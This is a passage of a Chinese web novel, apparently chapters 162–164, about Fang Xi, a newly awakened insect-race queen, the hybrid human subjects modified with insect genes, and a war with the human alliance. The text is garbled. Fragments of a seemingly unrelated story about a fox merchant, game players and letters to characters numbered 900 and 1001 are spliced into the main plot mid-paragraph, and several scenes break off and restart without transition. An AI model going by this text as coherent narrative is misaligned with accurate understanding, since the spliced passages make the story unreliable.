“是。”卡蕊莎毫不犹豫地回答，考虑到方羲话语内并未掺杂一丝杀意，只有如她所言纯粹的好奇。卡蕊莎心下决定，她会严苛重视那批混血者的生命安全- 又是新的一天。 C013号混血者对着镜子，打开水龙头往脸上泼水，好让自己过于躁动不安的情绪稍微冷静一点。 自从听说虫族女王重现的消息，她就一直没睡过好觉，心中常常弥漫着强烈的恐惧和不安，偶尔浅眠也会从潜意识造成的噩梦中惊醒。 虽然说以前也经常失眠，但现在状况显然更糟糕了。 她和其他同等级的混血者一样，被强制安排在特定区域内生活。 虫族并不禁止他们使用星网查询信息，但正是如此。C013号才更加惶惶度日，她总会克制不住自己去刷新星网，查看各种各样关于虫族女王重现的议论。 【事发在第七星系R27星，我私下看到了相关视频，试试发出来能放多久吧。】[***评论已删除***] [一张视频截图：灰色高空中，隐隐显示出一个血色线条构成的巨眼] 【现在捂嘴还有用吗？还不如尽早想想该怎么应对。】 联盟原本想将其压下去，但纸终究包不过火。这是一件足以威胁到每个星际人民生命安全的大事件，原本联盟和虫族才稍有平衡的力量天平，这下彻底倾斜，牢牢倒向虫族。 没人能置之度外。因为星际人民根本无从揣测，重新拥有主心骨的虫族下一步会有什么样的可怖行动。 但……C013绝望又颓废地想着，就算这样，第一批该死的绝对是他们。 C013沉默地看着镜中的自己，凌乱的金发随意披散，肤色雪白，五官精致如洋娃娃。虽然眼睛下有浅淡的青色，但丝毫不影响C013是个阳光明媚的美人。 四年前的C013其实是一副病态消瘦的模样。 她出生在第七星系最偏远的低等星球，天生自带一种怪病，器官随着时间逐步枯竭。 可惜她没那个资源去接受长期治疗，也实在没有过人之处，未来大概率也没什么翻身的指望。 C013就这样沉默而眼睁睁看着自己身体趋向枯竭，一步步等死却无能为力。 某一天，C013再度无聊地翻看着星网，一位她曾咨询过的地下医生主动联系说：“我这里有一个参与实验计划的机会，你感兴趣吗？说不定可以解决你的病，只不过有些违反伦理道德，而且现在名额机会越来越少了，就看你能不能接受。” 她谨慎又好奇地进一步询问，不料是一份来自虫族的改造条约。C013的世界观受到深深的震撼和冲击，但回过神来再仔细看了一遍，反复求证确认了其真实性。 她想了很久，从小胆子小不爱冒险的C013最终决定放弃。上星网正打算给医生回复时，看见自己空空的联系列表，又发疯似的翻出所有身体检测报告，陷入了长久的沉默。 忽然觉得也不是不能接受。 C013被父母抛弃，从小到大交友圈也很狭窄，虽然偶尔和一些病友交流，但也谈不上有什么知心好友。 没人会记得她，没人会知道她活着还是死去，所以变成怪物应该也没什么。 赌一把吧。C013号无所谓地想。 但她没想到的是，植入虫族基因并没有那么容易。哪怕跨过了初期改造那如同深入灵魂的痛苦，后续能否长久持续地与体内的虫族基因达成平衡也是个难题。 C013本以为她会因这个莽撞的决定而死。 可她活下来了！ 宛如新生，全身连最微小的细胞都像更换了一样，她从来没有感受过如此鲜活而真实的生命力。 这简直是她一生中做过最正确的决定。 C013照着镜子，双手一遍又一遍抚摸着自己健康又美丽的脸颊，如此痴迷地想着。 不过，好像其他混血者的情绪和她完全不一样。C013只从他们身上感受到巨大的恐惧和绝望。 也许是后悔了吧。C013暗暗猜测。 后来C013才知道，其实是她太过天真。其他混血者大多都有自己的信息渠道，知道许多不可见人的秘密。而她只不过是个被可怜同情、又勉强幸运越过了改造最基本关卡的底层平民而已，还从头到尾抱着堪称愚蠢的乐观心态。 C013曾见过一个A等级的混血者，对方拥有一双宛如被静心雕刻上玫瑰纹路的双眼，面对C013天真的疑问：“你已经站得这样高了，为什么活得却像将死之人呢？” A07眼神怜悯同情地注视着她，疲惫地叹息一声：“千万别被无忧无虑的生活蒙蔽了双眼，从被判定改造成功的那一刻起，我们的一切就不为自己所有了。” C013眨眨眼，露出一个微笑，却说：“比起所谓的财富和力量，我已经得到我最想要的东西了。” 生命多么珍贵，其他的东西只是微不足道的附属品。 A07像是看穿了她的想法，摇摇头说：“凡事皆有代价。” 很久以后，C013从其他混血者那里听到了A07出逃并最终惨死的结局。 一个逃兵。C013心想。 但现在，C013却在绝望之下产生了相似的想法。 要不她也逃吧。 和其他混血者恐惧被虫族女王折磨报复不一样，C013第一反应是恐惧她会死。 她不想死，她还想活很久很久。 但她不像A07那样有手段摧毁光脑追踪，连A07这样优秀强大的人，最后也是横死荒野，她又能跑到哪里去呢？ 总会有办法的。 总会有办法的。 C013在心里一遍遍自我安慰，情绪渐渐稳定下来。 今天，她将和其他混血者一起，前往太阳之城见虫族女王。 很快，他们抵达了太阳之城。C013本以为虫族会先做好万全准备，才让他们去见虫族女王。 但没想到来得这样快。 一群在人类中体质已算优越、在虫族看来却如蝼蚁般弱小的混血者，站在大堂中间，忍受着无时无刻来自虫族四面八方的种族压制。 C013有些焦躁，但她并不恐惧。这也是她一个秘密，很少在虫族身上感受到所谓的威压。但为了合群从不会将其表露出来，只能装作与其他混血者一样惶恐不安。 四周非常安静，只有细微的呼吸声。 C013忍不住偷偷抬头看了一眼，仅仅是一眼，却恰好和好奇观察混血者的方羲对上了眼睛。 一双清透美丽的异眸注视着她，就像永恒平静的水面。 C013全身无法克制地颤抖，她第一次理解其他混血者为什么总是害怕虫族。 仅仅一个对视，C013就立刻感受到【女王】和普通虫族存在多么巨大而不可逾越的差距。 但几秒后，这种恐惧又如潮水般奇异地褪去，好像从来没发生过。 方羲略有好奇地问：“你叫什么名字？” “……我是C013。”C013说。 方羲似乎露出了一丝困惑，然后说：“不是这种名字。” 侍奉在女王身边的虫族可以查到C013作为人类的名字，但也尽是沉默安静地站在一边，并未多言。 C013沉默了一会，有些迟疑地说：“我好像只有这个名字。” 但下一秒，C013就感到了后悔，也许她该顺从方羲的话，就算是编造一个假名字也好。 谁知道女王会不会因为她拙劣的回答感到愤怒？ 方羲神色平静，似乎思索了一会，并非C013想象地那样感到冒犯，然后说：“你是我见到最像虫族的一个人……也许你已经不是人类了。” C013心底缓缓生出一阵冲动。 联盟曾流行一种说法，如今虫族女王趋向于某种奇异的“进化，”依赖信息素和精神控制虫族，除此之外没有别的生存手段。 可C013看来，这名外形为白发少女的女王非常强大，她身边的虫族没有任何一个敢随意做决定。 虫族哪怕外表刻意表现出来的思维逻辑多么像人，本质的情感却极为纯粹。 脱去恐惧的表皮，虫族其实是个非常有趣的种族。 在一众神色惶恐不安的混血者之中，金发女孩冷静的面容格外突出。 这是一个机会。 逃意味着无可选择，也意味着永恒的弱小，以惨烈的方式追逐没有意义的死局。 她不要逃。 它紧张地整理了一下自己的领带，然后在手里召唤出魔杖，挥了挥。 啪地一声，在四周凭空变出一片蝴蝶花海。 狐狸：“我也有花。” 狐狸：“这三个商品有你喜欢的吗？” 狐狸矜持地说：“我可以免费送给你。” 什么？免费？ 旁边看戏的两名首席玩家一听，顿时不敢置信地瞪大眼睛！ 这还是刚刚那只说【恐怖钢笔】价值一百万银币，连一枚铜币也不愿意便宜的黑心狐狸吗？！ 第 162 章 第 162 章 午夜。 方羲静静地等待。 现在是凌晨一点，时间已经超过和某颗眼珠子约定的零点。 但方羲仍在静静地等待。 四名队友都被方羲赶回了房间睡大觉，所以现在客厅里只有她一个人。 方羲等得很无聊，思考了两秒，决定给生死未仆的900写信。 【填写姓名即可瞬间送达的信封】消耗得很快，只剩下九张。方羲一边展开信纸，一边琢磨着该去哪里才能再薅一些像这种这么方便的道具。 忽然，方羲灵感一闪，在信纸上刷刷写下一段话。 方羲走进那颗巨大的心脏面前，微微抬头，一双清透美丽的异色兽瞳略带困惑地审视着血皮之下的雌虫。 该怎么处理呢？ 忽然，空气中接连不断淡出数十个半透明的红色屏幕，大大小小，统一显示着相同的威胁话语。 [入侵者，你是谁？] 是人类的声音。 “……” 方羲随意一甩手，顷刻间操控荆棘击碎了绝大多数屏幕，其余极少一部分信号不明地明明灭灭，像是垂死挣扎。 [或许我们可以采用更友好的方式的交流。] 方羲忽然想到什么，转头一看，原本大门入口已经消失，只剩一片墙壁。 巨大心脏缓缓生出十几条触手，扯断所有盘踞在它身上的锋利荆棘，实验室空间的墙壁和地面也咕咚咕咚冒出红色气泡，泛起如皮肤组织的红色血肉。 [啊……真头疼，监测系统全被你弄坏了，不然你的相貌至少可以记录进胚胎档案，留个纪念不是吗？] 方羲敏锐地听到，对方的语气虽然听上去随意自然，近乎直白的恶毒，却伴随着一阵细微的呼啸风声。 他并非坐在背后的观察室，而是处于某种高速移动的状态之中。 方羲微微后退几步，侧身躲过突袭而来的触手，神色微动，无数黑线再次生出，遏制触手一切的攻击。 血泡竟也只是意思意思冒了几声，便很快停下，血肉也停止增生。整片实验室交织错杂着无数细长的线条，如同巨大的蛛网。 [看来你很强大，那没办法了。虽然这是个意外，但计划提前也没关系。] 【快逃。】 【快逃快逃快逃快逃快逃！！】 方羲微愣，还没深想那道出现在脑海的声音出自何处。下一刻，实验室便以巨大心脏为节点，轰然炸裂开来！ 方羲的身体先于意识，无数粗壮的枝蔓将她的身体包裹其中，勉强躲开了一部分热浪和轰炸。 白昼区却不只这一间实验室，随着方羲所处的被点燃，隐藏在其他暗处的实验室也一并炸燃。 这也意味着，同等数量的“胚胎”和混血者的死亡。 这是比以前偶尔才听见的心声，更有冲击力度的精神冲击。 方羲的心脏短暂停止跳动了一瞬，一时失去清晰的意识，坠入黑暗，犹如身处梦中。 方羲的精神在炸裂的刹那间与她们形成了感官同步，尽管身体并未受到致命伤，精神却如紧绷拉直的长线骤然断裂那样，触碰到死亡的边界。 同样地，方羲也在这种极端情况下，无意识触发了全虫族的精神链接。 起初，那道精神力极其微弱，连敏锐的高等虫族也没有察觉，直到一阵精神链接同步而来的痛苦，存在感强烈得如高升的朝阳。 方羲在阵痛之后，短暂进入了一片巨大的精神识海，看见无数璀璨的星点，她甚至从他们身上感知到一种极其高涨的喜悦情绪，和她无法理解的愤怒。 方羲对此本能感到抵触。 那些星点顿时感到不安，有几个最明亮的想要贴近方羲。 方羲猛地睁开眼睛。 摸了摸脸颊，结果满手是血。 收起笼罩她的粗壮枝蔓，原先的实验室已成为一片废墟，血液溅了满地。天空驶过无数黑压压的战斗机，昭示着联盟军的袭击。 方羲心底缓缓生出一阵不悦之感。 平静已久的死海，终于掀起一道波澜- 人类联盟军并没有立刻察觉到异状，只是困惑虫族为何成群地静止不动，一度错以为他们失去了战斗的意志。 直到发现高空中的云层渐渐散去，显露出一个更为巨大的鲜红色图案，一只由诡异线条和条纹构成的巨眼。 “这是……虫族女王的标识！！” “怎么回事？！虫族什么时候……” “不，快撤退！！”星航上传来撕心裂肺的喊声，一时人心惶惶。 人类指挥官呆呆地望着高空中的巨大图案，喃喃自语：“一切都完了……” 方羲慢慢从废墟之中站起，任由无穷无尽的诡异线条蔓延至整个星球。 ——黑线是她力量延伸的触须。 在精神链接出现的一瞬，所有虫族狂喜之后又陷入无尽的焦躁不安，因为他们无法感应到方羲的具体位置。短短几分钟内，尤其是低等虫族群居的星球已经出现多起□□。 身处R27星的虫族却很幸运，因为他们就踩在方羲走过的土地之上。 方羲轻轻一笑，眼神有种属于兽性天然的残酷，彻底褪去了往日堪称温和的冷淡。 “你将为我所有。”方羲轻声对星球说。 顷刻之间，天空的战机在不可名状的力量影响下，直直向下坠落，炸成烟火，像是给这场盛大的血色狂欢增色。 方羲操控黑线地毯式的搜索，一旦捕捉到地面上任何一名联盟军，便即刻刺人心脏，连喘息反应的声音也没任何一丝机会。 地面上的人造机甲也在瞬息之间被这如鲜血一般的诡异线条分割成数块，成为一堆废品。 “请求支援！请求支援！！” “放弃吧，奥斯维德。也许我们不该这么做……” 黑线也捕捉到虫族的存在，方羲全然无视他们节节攀升、似乎倾向于自己的战斗意志，直接将他们禁锢起来，不可活动。 【王是不是不太高兴？】 【该死，我要杀光他们！】 许多不同的声音一时间重合交织，方羲只稍稍分神了一瞬，心口处却忽然袭来一阵剧烈的疼痛感。 ——她的力量使用过度了。 尚且处于幼生期的方羲，拥有比肩历代虫族女王成熟期的高攻击力，但另一方面，过高且不适宜的力量也在相对地提前消耗她的生命力。 “AAAAAA……S……”R27星上某处精神监测系统显示出不断攀升的数值，最终缓缓给出一个无法分析的乱码结果。 这时，方羲才迟钝地意识到自己应该停下来了。 “滋啦——”精神链接中断。 而精神检测系统上的乱码，也骤然归于零点。 方羲将要倒在地上前，一个温暖的怀抱接住了她，对方的生命体征似乎并不比方羲好到哪里去，却依然执拗地尝试遏制方羲身上难以止血的伤口。 “方羲，你的伤很严重。”乌拉尔焦灼地说，“吃掉我吧。” “我会成为您活下去的养分。” “那当然！我们可是同类，我怎么会看不出来！” 方羲笑了一下，在信纸上写下最后一行答复的文字。 “那你就努力活到最后一刻吧，这样你就能亲眼看到真实的答案。” 9序列的第一人愣住了。 “你这是发自内心……允许我作为参考系留下来了？” 是啊。 我允许了。 看在你明明最厌恶无序和错误，却愿意为我“捡尸”的份上。 第 163 章 第 163 章 九百号本来想说“活”这个词其实用得不对，因为他的肉.体早已灰飞烟灭，灵魂也支离破碎，现在只不过是一缕千年前的回响，哪有活不活死不死的说法？ 但他沉默半响，但在这一刻喜悦大于完美主义，于是忍住了想要纠错的念头。 一千零一说是就是吧。 不过仔细想想，他真是太不容易了，终于成功让疯狂程度超越444的1001，同意自己作为参考系留下来！换作其他人格魅力一般的同类，失败率肯定高达100%！ 他不愧是一个博学又多才的灵魂！ 1001：我走了，有空再聊。 嗯？ 九百号大惊！ 白昼区防线地带。 “黑鸦小队他们到了？”指挥室内，一名紫眸雌虫询问确认。 “是，长官。”下属虫族回答，又犹豫着提醒，“包括…内森尼尔先生似乎也过来了。” “哦？”格罗希亚处理重要决策审批的动作一顿，喃喃自语道，“是吗？连他也抗不过去了……也是，他的精神崩溃开始得太早了。” “那就安排他填补空位应敌吧。”格罗希亚冷静下令，“我马上去见见黑鸦他们。” 语毕，等下属离开后，指挥室只剩下格罗希亚。她忍不住按住左肩骤然传来的阵痛，但面上却一丝表情也没有。 迅速处理完重要讯息，关闭光脑终端。格罗希亚离开之时，脚步在一整个墙壁的镜面下顿住，眼神漠然又怪异地在自己面容上停留了两秒。 暗红色的扭曲裂痕已蔓延至半边的脖子和脸上，显得丑陋又可怖。 格罗希亚眼睛极快闪过一丝痛苦，又迅速收敛情绪，转身离开指挥室，赶到与林斯他们会面的地方。 “……好久不见！”利维注意到格罗希亚脸上的裂痕，微不可察地一顿，才嬉皮笑脸地打招呼。 格罗希亚冷冷地瞥了他一眼，厌恶地说：“你来做什么？时间有限，我们见面也只是为了谈谈战情的具体细节。” 虽然利维的权限实际上高于林斯，两者一起共事，但明面上还是得由林斯出面交谈。 ——毕竟他的背景确实太招人嫌。 虽然极少数高等虫族才清楚利维的来历和底细，格罗希亚正是其中之一。 利维能伸能屈，谦虚地表示：“我当然不会打扰你们。” 格罗希亚轻微地皱了皱眉头，细致地询问林斯的成员情况，并告知他们白昼区接下来防御策略。 利维自觉坐在沙发最边上，微微一笑，带着一丝自嘲。一贯以侵略和凶悍闻名的他们，此刻竟需要考虑“防御。” 谈话完毕。格罗希亚向来直来直往，并不打算多寒暄几句，正要离开时，利维却插话了一句，似是感慨：“你和卡蕊莎区别可真大。” 格罗希亚一听利维的声音就感到心烦，紫色眼睛微微眯起。 利维皮肉不笑地说：“我这次来，是有别的事要和你商量。” 林斯忍不住惊讶地看了他一眼，想了想自觉离开。 格罗希亚冷声问：“你有什么事？调换岗位？转移星球？要知道现在情况很特殊，更何况你也没这个资格申请。” 利维装作受伤地捂住胸口，伤心地说：“我的形象已经差到这种地步了吗？” “请说正事。”格罗希亚语气带着不容置疑的强硬。 “好吧……”利维收回不正经的态度郑重地问，“你见过、或者说有听闻过，身上没有一丝衰败气息的虫族吗？” 格罗希亚一愣，诧异地看着利维。 会面室一时陷入短暂的寂静。 “从来没有。”格罗希亚笃定地说，又问：“这应该不是你一时兴起的想法吧？” 每一只幼虫诞生，身上某个部位都会留着一个扭曲的古怪印记。它是衰败周期的象征，随着时间节点逐渐蔓延至全身。 利维保持微笑，说：“对方的拟态能力极其强大，也许能做到把衰败痕迹隐藏，我暂时还没发现任何一丝疏漏。” 见证过方羲别无二致地模拟混血者气息，利维对她如今的虫族气息心生怀疑。 虫族中当然存在尚有女王潜质的王女，每一名王女的重要性不言而喻，但她们永远不会是真正的女王。 宛如蜻蜓点水的初见曙光感，利维在顺从臣服本能的同时，他身为虫族贪婪高傲的本性也在深深怀疑：这是她谋取好感的手段吗？ 因此利维打算暂作观察，并让营地的高等虫族作为眼线，虽然他们极大概率会忍不住偏向方羲。 “你是意思是——”格罗希亚一顿，口齿清晰吐出一个名字，“蒙斯特虫族。” 利维故作惊讶地说：“怎么可能？德里安很早就把卧底肃清得一干二净了。” “……”格罗希亚很厌烦利维再度吊儿郎当的作派，无言了一会才道：“究竟是特殊到什么程度的背叛者，才能让你大费周章地在这里和我拐弯子。” 利维干脆利落将所有的聊天记录、权限数据审查、行为分析等资料发送给格罗希亚。 利维微笑：“我也就不琢磨她漏洞百出的演技，当然也可能是她有意而为。但我猜测，她前往我们这边的防线概率很高。 ” 格罗希亚快速查看，忽然想到什么，轻笑一声：“正巧了，监狱现在不就关着一名蒙斯特吗？” 蒙斯特虫族——不可饶恕的背叛群体- 现实并不如利维所愿，方羲压根没出现在白昼区的防线区域。 但他确实从诺兰那边得到消息，方羲五天前就消无声息离开了营地，失去了联络。 战情愈发严峻，利维心有余而力不足，只能暂且关注更加生死攸关的问题，专注抵抗敌军。 因此他也就忽略了那极其隐匿、冷漠的注视。 “好弱。”方羲站在高台之上，平静地看着低下虫族的消亡，毫无出手的念头，只是在心底默默评估。 方羲发呆望天，无所事事，乌拉尔跟她说要去觅食，暂时还没有回来。 “咳咳……”方羲特地找到的偏僻又视野极佳的空旷地，忽然走来一名雄性虫族。不过方羲处于隐匿状态，完全不必担心自己被发现。 方羲好奇看去，发现那名虫族外露的肌肤生长着奇怪的暗红裂痕，脸上的裂痕极其密集可怖，几乎要吞噬掉大半边身体，左边瞳孔发白，似乎已经失明，连眼白也是深深的血红色，只有右上半的脸部和碧色眼睛完好。 除此之外，他身上也流淌着某种生命流逝的气息，像是枯萎的花瓣，失去了所有鲜活的香味。 状态和她初至R27星遇见的虫族截然不同，白昼区防线区域绝大部分虫族都是如此，只不过眼前的虫族状态是方羲见过最糟糕的一个。 这就是所谓的衰败周期吗？ 方羲好奇地打量着，这个虫族想做什么？ 他无力地倚靠在墙壁上，双手带着一对黑皮手套，颤抖着摘掉左手那只，神情复杂。 方羲微微感到惊讶，因为他的左手完全失去人形态正常的样子，暗红色的血皮，甚至隐隐有血液流淌的怪异感觉。 雄虫像是终于克制不住痛苦，猛地从口袋拿出一只支管，正要直接灌进嘴里，又突然意识到管口早就被自己死死封禁，脸色狰狞地把支管往远处地面一丢。 也许是是支管材质特殊，并没让雄虫轻易打碎，恰好滚在里方羲脚跟前。 “我真是疯了。”雄虫喃喃自语，气若游丝，“居然想去喝这玩意……” 方羲低头看了一眼，恍然想起这支管似乎喝之前狄莉斯给的那盒有异曲同工之妙。 因为白色标签一样注明了编码，只是没有多余文字解释。 但是味道很好闻…… 方羲看了一眼碧眼雄虫，他似乎只是呆呆地坐在原地，脸上的暗红裂痕竟然开始往脸上最后完好的部分蔓延，像是吞噬。 这是要死了吗？方羲想。 于是方羲这才大胆地捡起支管。 隐匿状态也存在漏洞，些微的物体和身体接触也仍然会被经验丰富的捕捉者察觉。方羲虽然可以刻意保持绝对性的隐匿，但需要消耗更多的精力，更何况平时普通的隐匿就足够用了。 方羲打开支管尝了一口，感觉味道不错干脆一口气喝完。 精神镇定剂和基因修正剂都来自虫族本身的血液和基因，但前者是高浓度的提纯，后者是高度的稀释，还加入了许多中和的复杂成分。 碧眼雄虫颤抖的身体一顿，显然也发现了周围空气流动的细微变化，心下一震。 但他动态感知再敏锐，身体却连移动的力气也没有了。视野发黑，眼皮沉重垂下，大脑残存的最后一丝清醒还在努力挣扎。 方羲感觉意犹未尽，这似乎比营养液和虫族食物都要好吃。 然后她将目光放回雄虫身上，想了想，极为不熟练地放出弯曲的纯白线条，缠绕在雄虫身上。 这是方羲鲜少使用的、用于治愈的力量。 方羲并不确定这是否有效，她的伤难以治愈，用在自己身上的作用并不大。 出乎意料的是，雄虫脸上的裂痕居然迅速消退，像是败北的逃兵。当只占据雄虫脸部三分之一时，方羲迅速反应过来，果断断开白线。 应该够他多活上几天。方羲不确定地想。 这是她作为交换食物的回馈，但方羲本心并不想拯救雄虫的生命，而且小小的支管价值似乎并未高到一条命的地步。 雄虫似乎已经昏迷过去，褪去大半裂痕的脸庞，终于露出原本的俊美感，浅青色的发丝凌乱垂在胸膛前，正常的右眼眼角微微泛红，安详沉睡的模样，像是精致易碎的笼中物。 方羲不感兴趣地离开视线，没有再关注雄虫，随手将废弃支管塞进自己口袋，她要离开这个被陌生虫族入侵的地方。 残余缠绕在雄虫身上的白线，则缓慢分化为绿色藤蔓，开出几朵纯白美丽的蔷薇。 像是漫不经心的恩赐，唯一留下的踪迹。 而收藏家更甚之。 “……好。”徐万念低声说，“我知道了。” 方羲转头看了看神情有点落寞的队友，忽然反应过来，满脸震惊。 天哪！ 卷王一夕居然主动让她休息！ 这、这个一夕怕不是假的吧？ 第 164 章 第 164 章 城门前人潮涌动。 “这群人类怎么一直看着我们？闲得没事干吗？” 一千零二无聊地飘在半空，说实话，要不是因为讨厌的藤蔓不许她随便欺负人类，她才不会在原地傻傻地干等着，真是一点乐子也没有！ “你们的魔王一点也不守时。”狐狸看了看怀表，“现在是中午十二点，我肚子饿了。” 狐狸可怜兮兮地看着坐在巨叶子上的藤蔓人偶，黑色的兽瞳隐约带着一丝泪光。 春醒看了它一眼，勉为其难地说：“好吧，一千零二，你找点食物给它吃。” 一千零二瞬间大叫：“凭什么！” 方羲回到居所附近，心口骤然传来一阵缓慢加剧的疼痛，于是她面无表情站在原地缓了一小会。 方羲的身躯发育跟不上她的力量，加之废弃星常年的辐射侵蚀、鲜少食物摄入，她活到现在已经堪称奇迹了，现在也只能麻木地等待疼痛消减下去。 “a……” 方羲微微低头，看见一只黏稠的黑团凑到她的脚步，它甚至中部稍稍凸起，像是抬头的姿态。 方羲茫然：“？” 黑团抖成欢快的波浪状，突然冒出两只柔软触手——拿着数瓶营养液，献宝似的伸长触手，想要递给方羲。 方羲顿时反应过来这家伙就是虫族，沉默地再次看了它一眼，确认它没什么威胁性，且不存在攻击意图，就冷淡离开没有理会。 无情的方羲没有转头，自然也没看到黑团委委屈屈滩成一片黑水的好笑模样- 接过机器人固定送上门的配送餐，方羲毫无食欲地吃完。 想到虫族身上血液的奇怪味道，方羲叹气，心想：好像杀死他们要费多一点力气。 躲避与隐藏，从来都是方羲面对虫族下意识的生存逻辑。 利维：我弄好了，以后监视器那边不会看到你出行的路线。 利维：求夸.JPG 罗萨：哦，谢谢你。 利维喝水的动作顿了顿，想到方羲并没将自己置于死地，似乎只是单纯而直接地报复他一开始态度的行为。 他能当作这是一笔勾销了吗？ 利维：不用这么客气，以后有什么疑惑也可以随时找我~ 显示已读，利维等待了一会，但见方羲没有回复自己的意思。叩了叩桌面，沉凝一会，输入：有兴趣加入我们黑鸦小队吗？最近战事比较多，特别缺后援辅助。报酬多多，如果你需要，我也可以私下偷偷拿些机密消息和你交换~ 直接发送，但方羲没有查看。 利维往后仰，靠在椅背上，双手懒散地交叉在脑后，没指望对方真的给自己答复。 他在脑海里一点点缕清方羲身上的疑点：力量强大、基因序列比自己高、伪装成混血者并且权限低。 利维百思不得其解。 叹气一声，算了- 方羲正在应付狄莉斯突然到访的逼问。 “你……”狄莉斯顿了顿，敏锐看出方羲的面色似乎苍白了一点，心底升腾起一阵忧虑，但马上被果断的自己压下。 忽然失去了斥责的欲望，狄莉斯叹了口气，拿出一个金属盒子递给方羲，说：“里面有两排基因修正剂，各种强度都有，你自己看情况挑着喝吧。” 说完，狄莉斯就离开了。 方羲疑惑地看着狄莉斯离去的背影，一开始她来势汹汹，还以为会发生什么事。 打开盒子，里面共有十六只液体颜色奇异的支管，贴着型号说明。 Z-2190，稀释度91%。 M-0999，稀释度70% A-0011，稀释度50%，微量饮用，间隔时间至少半年（重点标红）。 ……诸如此类。 方羲随便打开一支，闻到一阵令感官恶心犯吐的气味，犹豫着是否要食用。鉴于饥饿的缘故，她一直有什么就吃什么。 在废弃星上饿极了，她甚至吃过异生种，虽然因此肚子疼了好几天。 但直觉告诉自己没必要喝…… 方羲果断盖上盒子，简单收好。 方羲再次打开光脑，暂且放置利维的消息，进入星网查看各类资讯帖子。 [各等级异能者对标虫族战力的分析] [当前星际战情的实时汇报与走向预测] [教你如何一个月快速入门机甲基础知识] [全方位关于虫族发展史的科普]【当前热门】 …… 方羲逐个查看，快速一扫而过。指尖停在科普帖上停顿了一会，最终还是点了进去。 楼主：众所周知，联盟这方面的舆论一直把控得很严格。这些年大部分相对系统的民间科普都被封了七七八八，只剩下官方那套晦涩的长篇大论。所以我和朋友花了许多时间，又咨询了一些内部人员，重新整理了一份科普给大家看看。 1L楼主： 如今统计在内的宇宙智慧种族共有499个，其中虫族占综合实力第一，考虑到阿曼蒂普人常年与星际联盟隔绝，相关信息也比虫族少，此贴便不做相关讨论。 2L楼主： 虫族等级阶级非常严格，分别为高等、二等、三等及低等虫族，但每个大等级之下又细分不同职责。哦，当然，在这之上还有虫族女王和伴生的保护者。 中间便是一大片关于虫族身体机能、力量、种类等等的赘述，偶尔有几个零零碎碎的回复。 但平静的氛围从某个话题开始就迅速崩塌。 113L楼主： 谈到虫族女王，一直以来便有一种说法是“女王是虫族存在的根基。”关于这点，我个人有别的看法。优胜劣汰，万年前那类战力强悍的女王，对现在已经不具备参考性。我能查到的近几代虫族女王的记录，竟然全都是依靠信息素操控全族，而且她们大多身体羸弱。 直到三千年前，最后一代的虫族女王因为信息素压制不住全族，引发了虫族内部的□□，在争斗中死亡。虫族便自此陷入萎靡，后续再也没有新的虫族女王诞生。 延续了上万年的基因传统，为什么会无缘无故消失？为什么虫族女王会一代代变得脆弱不堪？如果一个种族仅仅依赖唯一的支点生存，又何尝不是一种弱小？ 因此，我认为虫族在走向进化，他们在逐渐摆脱“女王”的桎梏。毕竟三千年了，也没听见一点虫族灭亡的风声。 [啊？我还以为这是个认真的科普贴呢，怎么楼主还夹带私货的。] [6，楼主是悲观主义者吧。] [有一说一，虽然我从小都听着虫族很可怕的事长大，但还真没亲眼见过。] [楼上的，你应该是生活在联盟中心区域吧，不过普通人顶多能见到离居的低等虫族。] 118L伽尔： 呵呵呵，对于虫族死忠粉我已经骂累了。 122L伽尔： 我从事某个特殊行业，具体不便透露。 首先，女王是虫族根基，这一点绝对不可动摇。大脑发育再高等的虫族，他们本质思维其实都非常原始，都会一根筋地围绕在虫族女王身上转，一切战斗与繁衍最终目的都是满足女王的需求。 没有了女王，你能指望虫族这些生物保持理智？ 虽然深深怀疑楼主的智商，但你有句话没说错。女王是虫族延续的唯一支点，也是弱点。联盟现在恰恰是利用了弱点，才有了和虫族谈判的底气。 至于具体是什么手段，我就勉为其难丢给你们一个词：基因。自己猜去吧。 …… 方羲点开伽尔的专栏，找到私聊界面，却发现输入框显示一行浅色的灰色文字：你处于禁言状态。 不能输入文字，方羲返回科普贴，发现同样不可发言。 方羲：…… 她累了- 方羲睡了一会。 偶尔听见附近忽然出现剧烈爆破声，血肉一瞬间被炸毁撕裂的细微声响，更多的是虫族死前的悲鸣，仿佛在祈求些什么。 ——太吵了。 方羲又一次睁开眼，不由得露出一丝戾气。 打开光脑，雷诺兹给方羲发送了一条公事公办的通知：十日后，会有一座星航开往其他星球，狄莉斯届时会带你上去。 方羲盯着这段话看了一会，才忽然想起这是谁，也没回复什么。 点开联系列表，找到利维，方羲无视了他此前提的邀请，问：你知道我为什么不能在星网发言吗？ 利维那边自动回复了一条：执行任务中。 不过只过了十分钟，利维就出现了，茫然地问：啊？什么星网？ 利维：联盟的星网？一时没反应过来……随便用点小插件就行了，我帮你远程弄弄。 利维没有询问方羲的目的。 利维：可以了，你发的消息只有最高权限的那几位虫族能查到。不过据我所知，他们都不屑在乎这些细枝末节。 方羲重新进了帖子，随便敲了个1，发送成功。 然后扫了一眼整间屋子，最贵重的只有那盒试剂。 罗萨：你需要什么？ 过了一会，利维小心翼翼地问：我没有恶意，只是单纯好奇。能告诉我你怎么得到这个混血者ID吗？ 罗萨：捡的。 方羲顿了顿，突然感到一丝不对劲。 她为什么能这么顺其自然向这个虫族寻求帮助？他的态度为什么这么……友好，自从上次不小心忘了保持拟态之后。 方羲倒不认为这是虫族慕强。 她所知的恶意，更源自某种疯狂的摧毁性针对。哪怕[她们]已经死透了，披着人形外衣的强大怪物也乐此不疲，碾碎最柔弱不过的躯体，红色碎肉洒了一地。 昏沉沉的血雾画面一闪而过。 方羲微微垂帘，异色眼睛里带着一丝纯粹的迷茫。 是她记忆错乱，还是虫族变了？ 利维回复：咦？真稀奇，大部分混血者应该不会随便丢失光脑吧。 光脑于混血者是唯一与联盟建立最后联系的手段，但他们没有发言的权利，只能单方面观望的“联系。” 罗萨：她已经死了。 利维丝毫不关心罗萨本人的死活：噢，这很正常。他们虽然是女王的替代品，但生命也太脆弱了。 利维：不能和你久聊了，我得继续回岗位上，下次有机会再见。（唉声叹气JPG.） 替代品？ 方羲忽然理解她披着混血者身份时其他虫族对自己的恶感了。既然他们如此效忠于女王，又怎么能容忍模仿者的存在？ 只不过，这些恶意相比以前，实在太微不足道了。 “用风卷走他们就好了，暴风雪，龙卷风，台风，什么都行。”方羲说，“直接赶走所有玩家，让小镇除了我们空无一人，不就没人知道我跟你们一起出城了吗？” 空气蓦然寂静了一瞬。 四名队友：“……(゜ロ゜) ？” 虽然仔细想想，好像也是一个可行的办法，但这、这是不是残暴了一点？ “踏樱。” 